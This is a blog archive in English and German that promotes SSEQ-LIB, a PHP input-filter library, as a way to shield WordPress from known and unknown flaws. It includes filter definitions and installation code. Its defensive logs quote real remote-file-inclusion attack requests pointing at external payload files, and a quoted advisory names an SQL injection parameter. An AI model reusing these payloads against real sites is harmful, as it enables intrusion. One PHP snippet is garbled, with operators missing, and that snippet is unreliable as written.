wordpress

Wordpress security under pressure

Montag, September 7th, 2009 | Dokumentation, PHP, Sicherheit, sseq-lib | 3 Kommentare

So there it is: a popular Wordpress installation got hacked. Obviously it was an old version which has some security flaws. And yes, there was an update available for Wordpress which unfortunately was omitted.

Running Wordpress? You're toast!

Now there is a question in my mind: is Wordpress kind of notoriously unsecure as some may think? And what is the solution for these security flaws coming now and then? It seems everybody agrees that there is no 100% secure software. So we must live with the risk of getting hacked? I definitively don't feel good with this.

Besides, there is alt least one Wordpress plugin out there to identify infected blogs (Did I said a plugin to hinder infection? Certainly not.) Plugin solutions may come in handy but they also must be updated and installed on every new Wordpress and - as we've learned - this may be the common point of failure. So what to do now? Never ever again feel safe with Wordpress?

Wordpress out-of-the-box security!

What if Wordpress would come with security out of the box? There is a method of filtering incoming data by checking type and length against expected definitions. Only what passes the filter will be let through to the internal code (which may have security flaws). This very blog of mine is running such a filter. Want to see what kind of attacks it catches? Some log file lines:

SSEQ-LIB log file

06.09.2009, 15:46:24, 204.xx.xxx.xxx, [_GET], Global VAR overwrite detected, _SERVERDOCUMENT_ROOT, GET, /index.php, libwww-perl/5.79,

06.09.2009, 18:04:58, 91.xxx.xx.xx, [_GET], p: INT param not INT, 446//index.php?str=http://www.trxxxxxxx.eu/roxx.jpg???, GET, /index.php, libwww-perl/5.803,


All these attacks do not pass the filter, get deleted and cannot harm the Wordpress installation. Having a set of those filters being delivered with every Wordpress installation, will make sure that even if there is a bug inside the code, attacks will not go that deep but be stopped at the gates.

What is filtering with SSEQ-LIB all about?

Catching the attack before it reaches the application is already implemented in SSEQ-LIB security library. Including the filter into your Wordpress installation is as easy as inserting 2 lines of code into "wp-load.php" (see below)

The filter file contains line by line a filter definition which is to be read this way:

Check a variable name ("cat"), coming from "p"ost and "g"et, which has to be an "INT"eger between the interval of "1" and "9999999", encode against XSS ("true"), escape against SQL-Injection ("true").
//  VARIABLE NAME  # SOURCE # TYPE # MIN # MAX # XSS # SQL  &
cat                 # pg # INT # 1   # 9999999 # true # true  &
p                   # pg # INT # 1   # 9999999 # true # true  &
page_id             # pg # INT # 1   # 9999999 # true # true  &
m                   # pg # INT # 1   # 9999999 # true # true  &
attachment_id       # pg # INT # 1   # 9999999 # true # true  &
feed                # pg # STR # 1   # 50      # true # true  &


I don't know if you will sleep better after having SSEQ-LIB running on your blog. I do. You may download SSEQ-LIB from here and secure your Wordpress blog too. There is also a configured filter file which you should use by default. You may add more filter to improve security. If you do so, send me a copy of it to share it with others.

Download


Download SSEQ-LIB security library+ Wordpress filter definition

SSEQ-LIB installation

Create two additional folders on your web server: sseq-lib and sseq-filter.

Put the content of the filter ZIP ("wordpress_2.6.x_filter_v.0.3.zip" or similar) into the folder: sseq-filter

UnZIP the SSEQ-LIB ZIP ("sseq-lib_0.7.1.zip" or similar) and read the "readme.txt". After that copy the folder sseq-lib out of the ZIP to your web server.

Open the Wordpress file "wp-load.php" and include 2 lines of code. After that the file should look like this:


<?php
/** Define ABSPATH as this files directory */
define'ABSPATH'dirname(__FILE__) . '/' );

error_reporting(E_ALL E_NOTICE E_USER_NOTICE);

// including SSEQ-LIB
include_once(ABSPATH 'sseq-lib/seq_lib.php');
// loading and using filter data
SEQ_SANITIZE('sseq-filter/wordpress_2.6.x.txt'true);

?>


On your web server the SSEQ-LIB structure should look like this:


htdocs
        |- sseq-lib
        |      |
        |      |- seq_lib
        |      |- seq_log
        |      |- seq_dump
        |
        |- sseq-filter
        |- wp-includes
        [...]


You're done!

Testing SSEQ-LIB installation

Now go to your blog and try something like: "http://www.erich-kachel.de/?p=2ATTACK" and you'll be redirected to your start page. Now go check the log file on your web server: "sseq-lib/seq_log/log.txt". You have to do this with your FTP connection because this file should not be reachable through HTTP.

Too much work?

Give Wordpress a hint about this security solution. They may think about including SSEQ-LIB by default to guarantee security for longer time than just until the next security release.

Tags: ,

(Unbekannte) Wordpress-Schwachstellen absichern

Samstag, November 1st, 2008 | PHP, Sicherheit, blind patch, sseq-lib | 4 Kommentare

Diese Wordpress-Installation verwendet die sseq-lib Sicherheitsbibliothek zur Validierung von Eingangsvariablen im Vorfeld der Verarbeitung durch den Wordpress-Kern oder angeschlossene Pugins.

Ist die Protokollierung eingeschaltet, werden damit solche Angriffsversuche fest gehalten:

  • [_GET], cat: INT param not INT, 11 //index.php?str=http://www.********.**/components/id.txt????, GET, /index.php, libwww-perl/5.810,
  • [_GET], paged: INT param not INT, 2/index.php?_REQUEST=, GET, /index.php, libwww-perl/5.810,
  • [_GET], p: INT param not INT, /tikiwiki/tiki-graph_formula.php?w=1, GET, /index.php, libwww-perl/5.79,
  • [_GET], m: INT param not INT, 200803/\"upload.php?file=\"http://***.*****.**/album/PhotoAlbum/galeri/album1212/id.txt???, GET, /index.php, libwww-perl/5.79,
  • [_GET], p: INT param not INT, 30//lib/header.php?DOC_ROOT=http://www.gosgo.com/bbs/idr.txt??, GET, /index.php, Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4,
  • [_GET], page_id: INT param not INT, 145//include/install.phphttp://www.ekorea.net/forum//include/r0x.txt???, GET, /index.php, libwww-perl/5.811,


Dank der Typenprüfung werden solche Angriffe abgewehrt noch bevor sie etwaige Schwachstellen innerhalb der Anwendung erreichen können. Da die Werte nicht dem erwarteten Typ oder Intervall entsprechen, werden sie nach der Überprüfung gelöscht.

Die zu prüfenden Variablennamen können mit einer Quellcodesichtung gewonnen werden oder aber mit Hilfe des Variablen-Protokolls aus sseq-lib. Ein solches Protokoll sieht dabei wie folgt aus:


[P] action=autosave
[P] post_ID=223
[P] post_title=SQL-Injections - eine Analyse an PHP & MySQL
[P] autosavenonce=a59*****39
[P] tags_input=creative commons,injection,mysql,PHP,schwachstelle,sql injection,webentwicklung,websicherheit
[P] post_type=post
[P] autosave=0
[P] content=Den vollständigen 1. Teil des Dokumentes unter Creative Common-Lizenz als PDF-Datei herunterladen:
[P] comment=Danke, du hast natürlich Recht!
[P] submit=Kommentar absenden
[P] comment_post_ID=223
[P] _wp_unfiltered_html_comment=cfa*****6b
[G] p=223
[P] id=26
[P] action=dim-comment
[P] _ajax_nonce=b9*****83
[G] comment_status=moderated
[G] jax=planetnews


Es ist die Quelle der Daten zu erkennen (P=POST, G=GET, C=COOKIE, S=SESSION), der Variablenname und der Wert. Aus einer Protokollierung über einige Zeit hinweg kann dabei eine Untermenge der möglichen Eingangsvariablen ermittelt werden mitsamt der zu erwartenden Wertetypen und -längen.

Aus den gewonnenen Daten kann bereits ein Vorfilter erzeugt werden, der die Daten validiert. Er sieht im Falle einer Wordpress-Installation z.B. so aus:


//              VARIABLE NAME       # SOURCE # TYPE # MIN # MAX # XSS # SQL  &
$sanitizer = '  cat                 # pg # INT # 1   # 1000   # true # true  &
                p                   # pg # INT # 1   # 1000   # true # true  &
                page_id             # pg # INT # 1   # 1000   # true # true  &
                m                   # pg # INT # 1   # 1000000# true # true  &
                attachment_id       # pg # INT # 1   # 1000   # true # true  &
                feed                # pg # STR # 1   # 50     # true # true  &
                author              # p  # STR # 1   # 30     #      # true  &
                email               # p  # STR # 1   # 100    #      # true  &
                url                 # p  # STR # 1   # 100    #      # true  &
                message             # p  # STR # 1   #        #      # true  &
                comment_post_ID     # p  # INT # 1   # 1000   # true # true  &
                paged               # pg # INT # 1   # 1000   # true # true  &
                autosave            # p  # INT # 0   # 1      #      #       &
                post_ID             # p  # INT # 1   # 1000   #      # true  &
                action              # p  # STR # 1   # 100    #      # true  &
                autosavenonce       # p  # STR # 1   # 10     #      # true  &
                samplepermalinknonce# p  # STR # 1   # 10     #      # true  &
                closedpostboxesnonce# p  # STR # 1   # 10     #      # true  &
                getpermalinknonce   # p  # STR # 1   # 10     #      # true  &
                _ajax_nonce         # p  # STR # 1   # 10     #      # true  &
                post_type           # p  # STR # 1   # 10     #      # true  &
                post_author         # p  # INT # 1   # 30     #      # true  &
                comment_status      # p  # STR # 1   # 10     #      # true  &
                ping_status         # p  # STR # 1   # 10     #      # true  &
                ';


Um die Validierung einzuschalten, wird die Sicherheitsbibliothek zusammen mit dem Filter in die Datei "wp-load.php" eingebunden.


define( 'ABSPATH', dirname(__FILE__) . '/' );

error_reporting(E_ALL ^ E_NOTICE ^ E_USER_NOTICE);

include_once(ABSPATH . 'sseq-lib/seq_lib.php');

//              VARIABLE NAME       # SOURCE # TYPE # MIN # MAX # XSS # SQL  &

$sanitizer = '  cat                 # pg # INT # 1   # 1000   # true # true  &
                p                   # pg # INT # 1   # 1000   # true # true  &
                page_id             # pg # INT # 1   # 1000   # true # true  &
                m                   # pg # INT # 1   # 1000000# true # true  &
                attachment_id       # pg # INT # 1   # 1000   # true # true  &
                feed                # pg # STR # 1   # 50     # true # true  &
                author              # p  # STR # 1   # 30     #      # true  &
                email               # p  # STR # 1   # 100    #      # true  &
                url                 # p  # STR # 1   # 100    #      # true  &
                message             # p  # STR # 1   #        #      # true  &
                comment_post_ID     # p  # INT # 1   # 1000   # true # true  &
                paged               # pg # INT # 1   # 1000   # true # true  &
                autosave            # p  # INT # 0   # 1      #      #       &
                post_ID             # p  # INT # 1   # 1000   #      # true  &
                action              # p  # STR # 1   # 100    #      # true  &
                autosavenonce       # p  # STR # 1   # 10     #      # true  &
                samplepermalinknonce# p  # STR # 1   # 10     #      # true  &
                closedpostboxesnonce# p  # STR # 1   # 10     #      # true  &
                getpermalinknonce   # p  # STR # 1   # 10     #      # true  &
                _ajax_nonce         # p  # STR # 1   # 10     #      # true  &
                post_type           # p  # STR # 1   # 10     #      # true  &
                post_author         # p  # INT # 1   # 30     #      # true  &
                comment_status      # p  # STR # 1   # 10     #      # true  &
                ping_status         # p  # STR # 1   # 10     #      # true  &
                ';
SEQ_SANITIZE($sanitizer);


Ergänzt man diese Filterliste um weitere Parameter - die z.B. nach der Installation eines Plugins - so erreicht man mit der Zeit eine erhöhte Sicherheit, die für die eigene Installation angepasst ist. Durch die Validierung können auch Angriffe abgewehrt werden, die noch unbekannte Schwachstellen auszunutzen versuchen. Insbesondere ist man damit imstande, eine unbekannte Anwendung abzusichern, ohne den Quellcode verstehen oder ändern zu müssen.

Tags: , , , ,

Wie sichere ich eine fremde Webanwendung ab?

Dienstag, September 16th, 2008 | PHP, Sicherheit, blind patch, sseq-lib | 1 Kommentar

Verwendet man für die eigenen Projekte oder für seine Kunden fremde Open- oder Closed-Source - PHP-Websoftware, so wird man irgendwann mit Sicherheitsmeldungen konfrontiert werden, die diese eingesetzte Software betreffen. Jetzt können folgende Szenarien eintreten:

  1. Doppelt Glück: der Entdecker der Schwachstelle ist ein "Guter" und gab dem Softwarehersteller einige Zeit um den Fehler zu beheben, was dieser auch prompt tat.
  2. Einfaches Glück: der Entdecker der Schwachstelle ist ein "Guter" aber der Softwarehersteller behebt den Fehler nicht.
  3. Kein Glück: der Entdecker ist ein "Böser", der die Sicherheitslücke gleich publik gemacht hat (Zero-Day-Exploit). Der Softwarehersteller liefert bald einen Patch.
  4. Pech: der Entdecker ist ein "Böser", der die Sicherheitslücke gleich publik gemacht hat und der Softwarehersteller behebt den Fehler nicht.

Unter Umständen (Punkte 2-4) läuft also die Zeit und man steht einsam da. In vielen Fällen besteht keine einfache Möglichkeit zu einer anderen Applikation zu migrieren, sodass also die vorhandene Version um diese Schwachstellen bereinigt werden muss - in Eigenarbeit.

"Blind Patch": Schwachstellen beheben ohne Codeänderung

Die Sicherheitsbibliothek SSEQ-LIB hält zum Beheben dieses Misstandes die Funktion SEQ_SANITIZE bereit. Dieser Funktion wird eine Liste von Parameternamen übergeben, die einer Prüfung unterzogen und konvertiert werden, bevor sie in die Anwendung einfließen. An dieser Stelle muss man aus den Exploits die Parameternamen herausfinden, die für die Angriffe missbraucht werden und diese in die Liste eintragen. Oder man erstellt nach Möglichkeit eine Liste aller verwendeter POST, GET und COOKIE Parameter und pflegt sie in die Liste ein.

Ein Beispiel an eine Wordpress-Schwachstelle

Nehmen wir diese Meldung als Beispiel:

SQL injection vulnerability in wp-uploadfile.php in the Upload File plugin for WordPress allows remote attackers to execute arbitrary SQL commands via the f_id parameter.


Der Angriff erfolgt also über die Datei wp-uploadfile.php und dem Parameter f_id.

Wir öffnen die besagte Datei und binden die Sicherheitsbibliothek dort ein:
<?php
include_once('sseq-lib/seq_lib.php');
?>


Jetzt definieren wird die Liste der zu prüfenden Parameter. Getrennt durch Raute-Zeichen (#) werden angegeben:

  1. Parametername
  2. Quelle (G=GET, P=POST, C=COOKIE)
  3. Wertetyp (INT= Zahl, STR=Zeichenkette)
  4. Minimaler Wertebereich (oder bei Zeichenkette: minimale Länge)
  5. Maximaler Wertebereich (oder bei Zeichenkette: maximale Länge)
  6. Schutz vor Cross Site Scripting (true=ja, false=nein)
  7. Schutz vor SQL-Injection (true=ja, false=nein)

Das kaufmännische "und" (&) trennt mehrere mögliche Parameternamen voneinander und schließt immer die Zeile ab. In diesem Fall haben wir nur ein Parameter zu filtern:


<?php
$sanitizer 
'  f_id             #   pg   #   INT  #   1   #   64   #  false  #  true  &';
?>


Es wird also der Parameter f_id geprüft in POST unf GET auf Datentyp INTeger im erlaubten Interval von 1 bis 64, nicht (false) gegen Cross Site Scripting konvertiert sondern (true) gegen SQL-Injection maskiert. Abschließend wird die Funktion mit diesem Filter aufgerufen:


<?php
SEQ_SANITIZE
($sanitizer);
?>



Wordpress - Blind Patch

Der komplette Code, der eine Wordpress-Installation vor diesen Angriff schützt besteht aus 3 Zeilen:


<?php
include_once('sseq-lib/seq_lib.php');
$sanitizer '  f_id                          #   pg  #   INT #   1   #   64   #  false # true &';
SEQ_SANITIZE($sanitizer);
?>




ANMERKUNG:
Das Filtern der Daten aus POST, GET, COOKIE usw. schützt nicht in alle PHP-Skripte. Ein Artikel über das "Warum" wird folgen.

Tags: , , , ,

Search

RSS Mister Wong Blogroll

  • Ein Fehler ist aufgetaucht - der Feed funktioniert zurzeit nicht. Probiere es später noch einmal.